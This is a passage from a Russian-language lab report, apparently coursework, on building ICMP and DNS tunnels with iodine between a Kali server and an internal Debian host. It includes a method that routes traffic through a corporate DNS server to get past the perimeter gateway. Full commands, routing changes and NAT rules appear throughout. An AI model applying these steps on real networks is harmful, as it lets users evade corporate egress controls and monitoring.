Kali-VPN-SRV на ВМ Debian: ssh root@10.1.2.100 ![](https://i.imgur.com/Y6UvgLO.png) 3) Настройка роутинга для прохождения трафика через icmp-туннель Проверка текущей маршрутизации - трафик проходит через адрес pfsense - 192.168.1.1: ![](https://i.imgur.com/ErZ95vH.png) шлюз по умолчанию - pfsense. 192.168.1.1 ![](https://i.imgur.com/VWLbeZu.png) требуется задать руты: - до ВМ Kali-VPN-SRV через psfense (192.168.1.1); - по-умолчанию через туннельный интерфейс (10.1.2.1). ip route delete default ip route add default 10.1.2.1 tracert ya.ru Таким образом, трафик проходит через туннельный интерфейс, интернет доступен: ![](https://i.imgur.com/uiJonom.png) # 9.2 Выполнить реализацию RAW DNS тоннеля (простой способ) Для настройки DNS-туннеля используется утилита iodine. Статья - https://habr.com/ru/post/129097/?ysclid=l87s4oz61306681043 Простой спосов заключается в указании на Клиенте (ВМ Debian) ДНС сервера, который будет являться Серверной частью iodine (ВМ Kali-VPN-SRV). iodine не является днс-сервером, соответственно, не может резолвить имена интернета. Поэтому, на Клиенте могут быть сложности с резолвом ДНС имен или потребуется обходное решение (использование hosts и т.д.). 1) Настройка Серверной части (ВМ Kali-VPN-SRV) Установка iodine: apt install iodine Запуск серверной части iodine: iodined 10.99.99.1/24 -c i.ptlab.net В результате появляется туннельный интерфейс dns0: ![](https://i.imgur.com/ttmYQnp.png) на ВМ слушается ДНС-порт udp/53, Сервер iodined запущен. ![](https://i.imgur.com/EMUWOJP.png) 2) Настройка Клиентской части (ВМ Debian) Проверка настройки сетевых интерфейсов до настройки: ![](https://i.imgur.com/JImWCwc.png) Требуется указать в качестве DNS-сервера - ip ВМ Kali-VPN-SRV (10.10.51.229): ![](https://i.imgur.com/Y4osNJU.png) Запуск Клиента и подключение к Серверу. iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/hhwRPWb.png) В результате добавился новый туннельный интерфейс dns0 (10.99.99.2/24): ![](https://i.imgur.com/2b9vSC4.png) 3) Проверка работоспособности туннеля Туннель успешно поднялся, пинг между ВМ проходит: ![](https://i.imgur.com/HjvRfSD.png) С ВМ Kali-VPN-SRV есть возможность подключиться на ВМ Debian по SSH: ssh root@10.99.99.2 ![](https://i.imgur.com/qYT8AxB.png) # 9.3 Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ) Сложный способ, в отличае от простого, использует пересылку dns-запросов через ДНС-сервера до заранее определенного домена (могут использоваться домены нескольких уровней). 1) Настройка DNS-инфраструктуры На внешней ВМ Win Server-EXT-DNS добавляется роль DNS-сервера и настравается dns-зона ptlab.net: ![](https://i.imgur.com/8kndNUv.png) В dns-зоне ptlab.net создается A-запись домена (без имени) ptlab.net, соответствует 10.10.51.237. ![](https://i.imgur.com/uDvHJp2.png) Так же создается A-запись fakedns с IP-адресом ВМ Kali-VPN-SRV, соответствует 10.10.51.236. ![](https://i.imgur.com/6ZFpkQf.png) Настраивается делегирование DNS-зоны i.ptlab.net на ВМ Kali-VPN-SRV. Зона i.ptlab.net будет использоваться для построения ДНС-туннеля. ![](https://i.imgur.com/tn6APX0.png) Задается сервер хранения зоны i - ВМ Kali-VPN-SRV: ![](https://i.imgur.com/rqkEtHM.png) На ВМ DC, на внутреннем ДНС-сервере задается пересылка запросов - на внешний ДНС-сервер (ВМ Win Server-EXT-DNS). 2) Настройка ДНС-клиента iodine На внутренней ВМ Debian в качестве ДНС-сервера задается внутренний, развернутый на ВМ DC (192.168.1.200). Проверка разрешения днс-имен в интернете на ВМ Debian. ![](https://i.imgur.com/OAIlStw.png) Для использования утилиты dig требуется установка пакета: apt install dnsutils ![](https://i.imgur.com/6wOXlQN.png) 3) Запуск dns-туннеля ДНС-туннель устанавливается между ВМ Debian и ВМ Kali-VPN-SRV. На Kali-VPN-SRV уже работает Серверная часть iodine, запущенная ранее. На ВМ Debian отсутствуют туннельные интерфейсы iodine. Запуск клиентской части iodine: iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/2ww2OH1.png) После запуска на ВМ Debian появляется туннельный интерфейс dns0: ![](https://i.imgur.com/aKfkwmO.png) Туннель успешно установлен, с ВМ Debian пингуется туннельный интерфейс ВМ Kali-VPN-SRV. 3) Настройка маршрутизации Весь трафик перенаправляется через туннельный интерфейс. текущая таблица маршрутизации содержит шлюз по-умолчанию. Т.к. туннель работает по днс-запросам, а днс-сервер для ВМ Debian находится в одной локальной сети, для работы ДНС-туннеля не обязательно наличие шлюза по-умолчанию. ip route del default ![](https://i.imgur.com/4e4E2EY.png) 4) Проверка работоспособности Проверка установления туннельного соединения, подключение проходит успешно. iodine -P Qq123456 i.ptlab.net ![](https://i.imgur.com/9alcH56.png) Для выхода в интернет на ВМ Kali-VPN-SRV требуется настроить nat (выход трафика в интернет с внешнего ip-адреса eth0): iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ![](https://i.imgur.com/3dNiNRU.png) В качестве шлюза по умолчанию указан туннельный интерфейс - 10.99.99.1. На ВМ Debian есть доступ в интернет: ![](https://i.imgur.com/uw7JsZ5.png) Таким образом, DNS-туннель работает корректно.